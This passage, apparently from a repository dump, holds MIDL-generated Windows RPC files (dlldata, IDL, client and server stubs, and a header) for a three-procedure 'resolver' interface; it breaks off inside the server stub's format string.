    "content": "/*********************************************************\n   DllData file -- generated by MIDL compiler \n\n        DO NOT ALTER THIS FILE\n\n   This file is regenerated by MIDL on every IDL file compile.\n\n   To completely reconstruct this file, delete it and rerun MIDL\n   on all the IDL files in this DLL, specifying this file for the\n   /dlldata command line option\n\n*********************************************************/\n\n\n#include <rpcproxy.h>\n\n#ifdef __cplusplus\nextern \"C\"   {\n#endif\n\nEXTERN_PROXY_FILE( resolver )\n\n\nPROXYFILE_LIST_START\n/* Start of list */\n  REFERENCE_PROXY_FILE( resolver ),\n/* End of list */\nPROXYFILE_LIST_END\n\n\nDLLDATA_ROUTINES( aProxyFileList, GET_DLL_CLSID )\n\n#ifdef __cplusplus\n}  /*extern \"C\" */\n#endif\n\n/* end of generated dlldata file */\n"
  },
  {
    "path": "MyComDefine/resolver.idl",
    "content": "import \"oaidl.idl\";\nimport \"ocidl.idl\";\n[\n\tuuid(00645e6c-fc9f-4a0c-9896-f00b66297798),\n\tversion(1.0),\n]\ninterface DefaultIfName\n{\n\n\ttypedef struct Struct_RpcRequest\n\t{\n\t\t[unique][string][size_is(101)] wchar_t* \tType;\n\t\t[range(0, 20971520)] long \tLength;\n\t\t[unique][size_is(Length)]char *\tData;\n\t}RpcRequest;\n\n\ttypedef struct Struct_RpcResponse\n\t{\n\t\t[range(0, 20971520)] long \tLength;\n\t\t[unique][size_is(Length)]char *\tData;\n\t}RpcResponse;\n\n\tlong Proc0_RPCClientBindToService(\n\t\t[in] handle_t hBinding,\n\t\t[out][context_handle] void** arg_1);\n\n\tlong Proc1_RPCDispatchClientRequest(\n\t\t[in]struct Struct_RpcRequest* arg_1,\n\t\t[out][ref]struct Struct_RpcResponse** arg_2);\n\n\tlong Proc2_RPCDispatchClientUIRequest(\n\t\t[in][out][context_handle] void** arg_0,\n\t\t[in]struct Struct_RpcRequest* arg_1,\n\t\t[out][ref]struct Struct_RpcResponse** arg_2);\n}"
  },
  {
    "path": "MyComDefine/resolver_c.c",
    "content": "\n\n/* this ALWAYS GENERATED file contains the RPC client stubs */\n\n\n /* File created by MIDL compiler version 8.00.0603 */\n/* at Sat May 02 15:58:29 2020\n */\n/* Compiler settings for resolver.idl:\n    Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.00.0603 \n    protocol : dce , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_)\n\n\n#pragma warning( disable: 4049 )  /* more than 64k source lines */\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n\n#pragma warning( disable: 4211 )  /* redefine extern to static */\n#pragma warning( disable: 4232 )  /* dllimport identity*/\n#pragma warning( disable: 4024 )  /* array to pointer mapping*/\n#pragma warning( disable: 4100 ) /* unreferenced arguments in x86 call */\n\n#pragma optimize(\"\", off ) \n\n#include <string.h>\n\n#include \"resolver_h.h\"\n\n#define TYPE_FORMAT_STRING_SIZE   125                               \n#define PROC_FORMAT_STRING_SIZE   141                               \n#define EXPR_FORMAT_STRING_SIZE   1                                 \n#define TRANSMIT_AS_TABLE_SIZE    0            \n#define WIRE_MARSHAL_TABLE_SIZE   0            \n\ntypedef struct _resolver_MIDL_TYPE_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];\n    } resolver_MIDL_TYPE_FORMAT_STRING;\n\ntypedef struct _resolver_MIDL_PROC_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];\n    } resolver_MIDL_PROC_FORMAT_STRING;\n\ntypedef struct _resolver_MIDL_EXPR_FORMAT_STRING\n    {\n    long          Pad;\n    unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];\n    } resolver_MIDL_EXPR_FORMAT_STRING;\n\n\nstatic const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax = \n{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};\n\n\nextern const resolver_MIDL_TYPE_FORMAT_STRING resolver__MIDL_TypeFormatString;\nextern const resolver_MIDL_PROC_FORMAT_STRING resolver__MIDL_ProcFormatString;\nextern const resolver_MIDL_EXPR_FORMAT_STRING resolver__MIDL_ExprFormatString;\n\n#define GENERIC_BINDING_TABLE_SIZE   0            \n\n\n/* Standard interface: DefaultIfName, ver. 1.0,\n   GUID={0x00645e6c,0xfc9f,0x4a0c,{0x98,0x96,0xf0,0x0b,0x66,0x29,0x77,0x98}} */\n\n\n\nstatic const RPC_CLIENT_INTERFACE DefaultIfName___RpcClientInterface =\n    {\n    sizeof(RPC_CLIENT_INTERFACE),\n    {{0x00645e6c,0xfc9f,0x4a0c,{0x98,0x96,0xf0,0x0b,0x66,0x29,0x77,0x98}},{1,0}},\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    0,\n    0,\n    0,\n    0,\n    0,\n    0x00000000\n    };\nRPC_IF_HANDLE DefaultIfName_v1_0_c_ifspec = (RPC_IF_HANDLE)& DefaultIfName___RpcClientInterface;\n\nextern const MIDL_STUB_DESC DefaultIfName_StubDesc;\n\nstatic RPC_BINDING_HANDLE DefaultIfName__MIDL_AutoBindHandle;\n\n\nlong Proc0_RPCClientBindToService( \n    /* [in] */ handle_t hBinding,\n    /* [context_handle][out] */ void **arg_1)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall2(\n                  ( PMIDL_STUB_DESC  )&DefaultIfName_StubDesc,\n                  (PFORMAT_STRING) &resolver__MIDL_ProcFormatString.Format[0],\n                  ( unsigned char * )&hBinding);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\nlong Proc1_RPCDispatchClientRequest( \n    /* [in] */ handle_t IDL_handle,\n    /* [in] */ struct Struct_RpcRequest *arg_1,\n    /* [ref][out] */ struct Struct_RpcResponse **arg_2)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall2(\n                  ( PMIDL_STUB_DESC  )&DefaultIfName_StubDesc,\n                  (PFORMAT_STRING) &resolver__MIDL_ProcFormatString.Format[40],\n                  ( unsigned char * )&IDL_handle);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\nlong Proc2_RPCDispatchClientUIRequest( \n    /* [context_handle][out][in] */ void **arg_0,\n    /* [in] */ struct Struct_RpcRequest *arg_1,\n    /* [ref][out] */ struct Struct_RpcResponse **arg_2)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall2(\n                  ( PMIDL_STUB_DESC  )&DefaultIfName_StubDesc,\n                  (PFORMAT_STRING) &resolver__MIDL_ProcFormatString.Format[86],\n                  ( unsigned char * )&arg_0);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\n#if !defined(__RPC_WIN32__)\n#error  Invalid build platform for this stub.\n#endif\n\n#if !(TARGET_IS_NT50_OR_LATER)\n#error You need Windows 2000 or later to run this stub because it uses these features:\n#error   /robust command line switch.\n#error However, your C/C++ compilation flags indicate you intend to run this app on earlier systems.\n#error This app will fail with the RPC_X_WRONG_STUB_VERSION error.\n#endif\n\n\nstatic const resolver_MIDL_PROC_FORMAT_STRING resolver__MIDL_ProcFormatString =\n    {\n        0,\n        {\n\n\t/* Procedure Proc0_RPCClientBindToService */\n\n\t\t\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/*  2 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcShort( 0xc ),\t/* x86 Stack size/offset = 12 */\n/* 10 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 12 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 14 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 16 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 18 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 20 */\t0x8,\t\t/* 8 */\n\t\t\t0x1,\t\t/* Ext Flags:  new corr desc, */\n/* 22 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 24 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 26 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hBinding */\n\n/* 28 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 30 */\tNdrFcShort( 0x4 ),\t/* x86 Stack size/offset = 4 */\n/* 32 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter arg_1 */\n\n/* 34 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 36 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 38 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc1_RPCDispatchClientRequest */\n\n\n\t/* Return value */\n\n/* 40 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 42 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 46 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 48 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 50 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 52 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 54 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 56 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 58 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 60 */\t0x8,\t\t/* 8 */\n\t\t\t0x7,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, */\n/* 62 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 64 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 66 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter IDL_handle */\n\n/* 68 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 70 */\tNdrFcShort( 0x4 ),\t/* x86 Stack size/offset = 4 */\n/* 72 */\tNdrFcShort( 0x2c ),\t/* Type Offset=44 */\n\n\t/* Parameter arg_1 */\n\n/* 74 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 76 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 78 */\tNdrFcShort( 0x44 ),\t/* Type Offset=68 */\n\n\t/* Parameter arg_2 */\n\n/* 80 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 82 */\tNdrFcShort( 0xc ),\t/* x86 Stack size/offset = 12 */\n/* 84 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc2_RPCDispatchClientUIRequest */\n\n\n\t/* Return value */\n\n/* 86 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 88 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 92 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 94 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 96 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 98 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 100 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 102 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 104 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 106 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 108 */\t0x8,\t\t/* 8 */\n\t\t\t0x7,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, */\n/* 110 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 112 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 114 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_0 */\n\n/* 116 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 118 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 120 */\tNdrFcShort( 0x78 ),\t/* Type Offset=120 */\n\n\t/* Parameter arg_1 */\n\n/* 122 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 124 */\tNdrFcShort( 0x4 ),\t/* x86 Stack size/offset = 4 */\n/* 126 */\tNdrFcShort( 0x2c ),\t/* Type Offset=44 */\n\n\t/* Parameter arg_2 */\n\n/* 128 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 130 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 132 */\tNdrFcShort( 0x44 ),\t/* Type Offset=68 */\n\n\t/* Return value */\n\n/* 134 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 136 */\tNdrFcShort( 0xc ),\t/* x86 Stack size/offset = 12 */\n/* 138 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const resolver_MIDL_TYPE_FORMAT_STRING resolver__MIDL_TypeFormatString =\n    {\n        0,\n        {\n\t\t\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  2 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/*  4 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (6) */\n/*  6 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/*  8 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 10 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 12 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 (44) */\n/* 14 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 16 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 20 */\tNdrFcLong( 0x1400000 ),\t/* 20971520 */\n/* 24 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x44,\t\t/* FC_STRING_SIZED */\n/* 26 */\t0x40,\t\t/* Corr desc:  constant, val=101 */\n\t\t\t0x0,\t\t/* 0 */\n/* 28 */\tNdrFcShort( 0x65 ),\t/* 101 */\n/* 30 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 32 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 34 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 36 */\t0x18,\t\t/* Corr desc:  field pointer, FC_LONG */\n\t\t\t0x0,\t\t/*  */\n/* 38 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 40 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 42 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 44 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 46 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 48 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 50 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (60) */\n/* 52 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 54 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffd7 ),\t/* Offset= -41 (14) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 58 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 60 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 62 */\tNdrFcShort( 0xffda ),\t/* Offset= -38 (24) */\n/* 64 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 66 */\tNdrFcShort( 0xffde ),\t/* Offset= -34 (32) */\n/* 68 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 70 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (72) */\n/* 72 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 74 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (98) */\n/* 76 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 78 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 82 */\tNdrFcLong( 0x1400000 ),\t/* 20971520 */\n/* 86 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 88 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 90 */\t0x18,\t\t/* Corr desc:  field pointer, FC_LONG */\n\t\t\t0x0,\t\t/*  */\n/* 92 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 94 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 96 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 98 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 100 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 102 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 104 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (112) */\n/* 106 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 108 */\tNdrFcShort( 0xffe0 ),\t/* Offset= -32 (76) */\n/* 110 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 112 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 114 */\tNdrFcShort( 0xffe4 ),\t/* Offset= -28 (86) */\n/* 116 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 118 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (120) */\n/* 120 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 122 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const unsigned short DefaultIfName_FormatStringOffsetTable[] =\n    {\n    0,\n    40,\n    86\n    };\n\n\nstatic const MIDL_STUB_DESC DefaultIfName_StubDesc = \n    {\n    (void *)& DefaultIfName___RpcClientInterface,\n    MIDL_user_allocate,\n    MIDL_user_free,\n    &DefaultIfName__MIDL_AutoBindHandle,\n    0,\n    0,\n    0,\n    0,\n    resolver__MIDL_TypeFormatString.Format,\n    1, /* -error bounds_check flag */\n    0x50002, /* Ndr library version */\n    0,\n    0x800025b, /* MIDL Version 8.0.603 */\n    0,\n    0,\n    0,  /* notify & notify_flag routine table */\n    0x1, /* MIDL flag */\n    0, /* cs routines */\n    0,   /* proxy/server info */\n    0\n    };\n#pragma optimize(\"\", on )\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#endif\n\n\n#endif /* !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_) */\n\n"
  },
  {
    "path": "MyComDefine/resolver_h.h",
    "content": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 8.00.0603 */\n/* at Sat May 02 15:58:29 2020\n */\n/* Compiler settings for resolver.idl:\n    Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.00.0603 \n    protocol : dce , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#pragma warning( disable: 4049 )  /* more than 64k source lines */\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 475\n#endif\n\n#include \"rpc.h\"\n#include \"rpcndr.h\"\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif // __RPCNDR_H_VERSION__\n\n\n#ifndef __resolver_h_h__\n#define __resolver_h_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n/* Forward Declarations */ \n\n/* header files for imported files */\n#include \"oaidl.h\"\n#include \"ocidl.h\"\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n#ifndef __DefaultIfName_INTERFACE_DEFINED__\n#define __DefaultIfName_INTERFACE_DEFINED__\n\n/* interface DefaultIfName */\n/* [version][uuid] */ \n\ntypedef struct Struct_RpcRequest\n    {\n    /* [size_is][string][unique] */ wchar_t *Type;\n    /* [range] */ long Length;\n    /* [size_is][unique] */ unsigned char *Data;\n    } \tRpcRequest;\n\ntypedef struct Struct_RpcResponse\n    {\n    /* [range] */ long Length;\n    /* [size_is][unique] */ unsigned char *Data;\n    } \tRpcResponse;\n\nlong Proc0_RPCClientBindToService( \n    /* [in] */ handle_t hBinding,\n    /* [context_handle][out] */ void **arg_1);\n\nlong Proc1_RPCDispatchClientRequest( \n    /* [in] */ handle_t IDL_handle,\n    /* [in] */ struct Struct_RpcRequest *arg_1,\n    /* [ref][out] */ struct Struct_RpcResponse **arg_2);\n\nlong Proc2_RPCDispatchClientUIRequest( \n    /* [context_handle][out][in] */ void **arg_0,\n    /* [in] */ struct Struct_RpcRequest *arg_1,\n    /* [ref][out] */ struct Struct_RpcResponse **arg_2);\n\n\n\nextern RPC_IF_HANDLE DefaultIfName_v1_0_c_ifspec;\nextern RPC_IF_HANDLE DefaultIfName_v1_0_s_ifspec;\n#endif /* __DefaultIfName_INTERFACE_DEFINED__ */\n\n/* Additional Prototypes for ALL interfaces */\n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n"
  },
  {
    "path": "MyComDefine/resolver_s.c",
    "content": "\n\n/* this ALWAYS GENERATED file contains the RPC server stubs */\n\n\n /* File created by MIDL compiler version 8.00.0603 */\n/* at Sat May 02 15:58:29 2020\n */\n/* Compiler settings for resolver.idl:\n    Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.00.0603 \n    protocol : dce , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_)\n\n\n#pragma warning( disable: 4049 )  /* more than 64k source lines */\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n\n#pragma warning( disable: 4211 )  /* redefine extern to static */\n#pragma warning( disable: 4232 )  /* dllimport identity*/\n#pragma warning( disable: 4024 )  /* array to pointer mapping*/\n#pragma warning( disable: 4100 ) /* unreferenced arguments in x86 call */\n\n#pragma optimize(\"\", off ) \n\n#include <string.h>\n#include \"resolver_h.h\"\n\n#define TYPE_FORMAT_STRING_SIZE   125                               \n#define PROC_FORMAT_STRING_SIZE   141                               \n#define EXPR_FORMAT_STRING_SIZE   1                                 \n#define TRANSMIT_AS_TABLE_SIZE    0            \n#define WIRE_MARSHAL_TABLE_SIZE   0            \n\ntypedef struct _resolver_MIDL_TYPE_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];\n    } resolver_MIDL_TYPE_FORMAT_STRING;\n\ntypedef struct _resolver_MIDL_PROC_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];\n    } resolver_MIDL_PROC_FORMAT_STRING;\n\ntypedef struct _resolver_MIDL_EXPR_FORMAT_STRING\n    {\n    long          Pad;\n    unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];\n    } resolver_MIDL_EXPR_FORMAT_STRING;\n\n\nstatic const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax = \n{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};\n\nextern const resolver_MIDL_TYPE_FORMAT_STRING resolver__MIDL_TypeFormatString;\nextern const resolver_MIDL_PROC_FORMAT_STRING resolver__MIDL_ProcFormatString;\nextern const resolver_MIDL_EXPR_FORMAT_STRING resolver__MIDL_ExprFormatString;\n\n/* Standard interface: DefaultIfName, ver. 1.0,\n   GUID={0x00645e6c,0xfc9f,0x4a0c,{0x98,0x96,0xf0,0x0b,0x66,0x29,0x77,0x98}} */\n\n\nextern const MIDL_SERVER_INFO DefaultIfName_ServerInfo;\n\nextern const RPC_DISPATCH_TABLE DefaultIfName_v1_0_DispatchTable;\n\nstatic const RPC_SERVER_INTERFACE DefaultIfName___RpcServerInterface =\n    {\n    sizeof(RPC_SERVER_INTERFACE),\n    {{0x00645e6c,0xfc9f,0x4a0c,{0x98,0x96,0xf0,0x0b,0x66,0x29,0x77,0x98}},{1,0}},\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    (RPC_DISPATCH_TABLE*)&DefaultIfName_v1_0_DispatchTable,\n    0,\n    0,\n    0,\n    &DefaultIfName_ServerInfo,\n    0x04000000\n    };\nRPC_IF_HANDLE DefaultIfName_v1_0_s_ifspec = (RPC_IF_HANDLE)& DefaultIfName___RpcServerInterface;\n\nextern const MIDL_STUB_DESC DefaultIfName_StubDesc;\n\nextern const NDR_RUNDOWN RundownRoutines[];\n\n#if !defined(__RPC_WIN32__)\n#error  Invalid build platform for this stub.\n#endif\n\n#if !(TARGET_IS_NT50_OR_LATER)\n#error You need Windows 2000 or later to run this stub because it uses these features:\n#error   /robust command line switch.\n#error However, your C/C++ compilation flags indicate you intend to run this app on earlier systems.\n#error This app will fail with the RPC_X_WRONG_STUB_VERSION error.\n#endif\n\n\nstatic const resolver_MIDL_PROC_FORMAT_STRING resolver__MIDL_ProcFormatString =\n    {\n        0,\n        {\n\n\t/* Procedure Proc0_RPCClientBindToService */\n\n\t\t\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/*  2 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcShort( 0xc ),\t/* x86 Stack size/offset = 12 */\n/* 10 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 12 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 14 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 16 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 18 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 20 */\t0x8,\t\t/* 8 */\n\t\t\t0x1,\t\t/* Ext Flags:  new corr desc, */\n/* 22 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 24 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 26 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hBinding */\n\n/* 28 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 30 */\tNdrFcShort( 0x4 ),\t/* x86 Stack size/offset = 4 */\n/* 32 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter arg_1 */\n\n/* 34 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 36 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 38 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc1_RPCDispatchClientRequest */\n\n\n\t/* Return value */\n\n/* 40 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 42 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 46 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 48 */\tNdrFcShort( 0x10 ),\t/* x86 Stack size/offset = 16 */\n/* 50 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 52 */\tNdrFcShort( 0x0 ),\t/* x86 Stack size/offset = 0 */\n/* 54 */\tNdrFcShort( 0x0 